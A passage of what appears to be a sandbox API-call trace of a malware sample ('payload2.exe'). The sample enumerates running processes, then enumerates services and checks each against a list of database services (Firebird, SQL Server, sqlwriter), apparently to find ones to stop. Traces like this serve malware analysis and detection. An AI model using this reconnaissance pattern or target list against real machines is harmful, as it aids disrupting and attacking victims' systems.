	[0066.927] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0066.928] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0066.928] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0066.929] lstrlenW (lpString="explorer.exe") returned 12
	[0066.929] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0066.929] lstrlenW (lpString="Memory Compression") returned 18
	[0066.929] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0066.930] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0066.930] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0066.931] lstrlenW (lpString="SearchUI.exe") returned 12
	[0066.931] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0066.931] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0066.931] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0066.932] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0066.932] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0066.933] lstrlenW (lpString="taskhostw.exe") returned 13
	[0066.933] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0066.933] lstrlenW (lpString="UsoClient.exe") returned 13
	[0066.933] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0066.934] lstrlenW (lpString="taskhostw.exe") returned 13
	[0066.934] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0066.935] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0066.935] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0066.935] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0066.935] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0066.936] lstrlenW (lpString="msoia.exe") returned 9
	[0066.936] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0067.440] lstrlenW (lpString="msoia.exe") returned 9
	[0067.440] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0067.444] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0067.444] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0067.445] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0067.445] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0067.445] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0067.445] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0067.446] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0067.446] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0067.447] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0067.447] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0067.447] lstrlenW (lpString="legends.exe") returned 11
	[0067.447] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0067.448] lstrlenW (lpString="miniature.exe") returned 13
	[0067.448] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0067.449] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0067.449] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0067.449] lstrlenW (lpString="thorough.exe") returned 12
	[0067.449] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0067.450] lstrlenW (lpString="dllhost.exe") returned 11
	[0067.450] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0067.451] lstrlenW (lpString="interactive.exe") returned 15
	[0067.451] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0067.451] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0067.451] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0067.452] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0067.452] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0067.453] lstrlenW (lpString="eastexamined.exe") returned 16
	[0067.453] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0067.453] lstrlenW (lpString="attacks-according.exe") returned 21
	[0067.454] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0067.454] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0067.454] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0067.455] lstrlenW (lpString="values latin.exe") returned 16
	[0067.455] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0067.456] lstrlenW (lpString="eaufeed.exe") returned 11
	[0067.456] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0067.457] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0067.457] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0067.458] lstrlenW (lpString="burning.exe") returned 11
	[0067.458] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0067.459] lstrlenW (lpString="warned-garage.exe") returned 17
	[0067.459] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0067.459] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0067.459] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0067.460] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0067.460] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0067.461] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0067.461] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0067.462] lstrlenW (lpString="proprietary.exe") returned 15
	[0067.462] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0067.462] lstrlenW (lpString="conhost.exe") returned 11
	[0067.462] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0067.463] lstrlenW (lpString="conhost.exe") returned 11
	[0067.463] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0067.464] lstrlenW (lpString="payload2.exe") returned 12
	[0067.464] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0067.465] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0067.465] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0067.465] lstrlenW (lpString="conhost.exe") returned 11
	[0067.465] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.466] lstrlenW (lpString="svchost.exe") returned 11
	[0067.466] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0067.467] lstrlenW (lpString="cmd.exe") returned 7
	[0067.467] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0067.467] lstrlenW (lpString="conhost.exe") returned 11
	[0067.468] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0067.468] CloseHandle (hObject=0x370) returned 1
	[0067.468] Sleep (dwMilliseconds=0x1f4) 
	[0068.767] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d890
	[0068.846] EnumServicesStatusExW (in: hSCManager=0x52d890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0068.847] GetLastError () returned 0xea
	[0068.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x4313a10
	[0068.850] EnumServicesStatusExW (in: hSCManager=0x52d890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4313a10, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4313a10, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0068.851] CloseServiceHandle (hSCObject=0x52d890) returned 1
	[0068.851] lstrlenW (lpString="Appinfo") returned 7
	[0068.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0068.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0068.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0068.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0068.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0068.851] lstrlenW (lpString="AppXSvc") returned 7
	[0068.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0068.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0068.851] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0068.851] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0068.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0068.851] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0068.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0068.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0068.852] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0068.852] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0068.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0068.852] lstrlenW (lpString="Audiosrv") returned 8
	[0068.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0068.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0068.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0068.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0068.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0068.852] lstrlenW (lpString="BFE") returned 3
	[0068.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0068.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0068.852] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0068.852] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0068.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0068.852] lstrlenW (lpString="BITS") returned 4
	[0068.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0068.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0068.852] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0068.852] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0068.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0068.852] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0068.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0068.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0068.852] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0068.853] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0068.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0068.853] lstrlenW (lpString="CDPSvc") returned 6
	[0068.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0068.853] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0068.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0068.853] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0068.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0068.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0068.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0068.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0068.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0068.853] lstrlenW (lpString="CryptSvc") returned 8
	[0068.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0068.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0068.853] lstrlenW (lpString="DcomLaunch") returned 10
	[0068.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0068.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0068.853] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0068.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0068.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0068.854] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0068.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0068.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0068.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0068.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0068.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0068.854] lstrlenW (lpString="Dhcp") returned 4
	[0068.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0068.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0068.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0068.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0068.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0068.854] lstrlenW (lpString="Dnscache") returned 8
	[0068.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0068.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
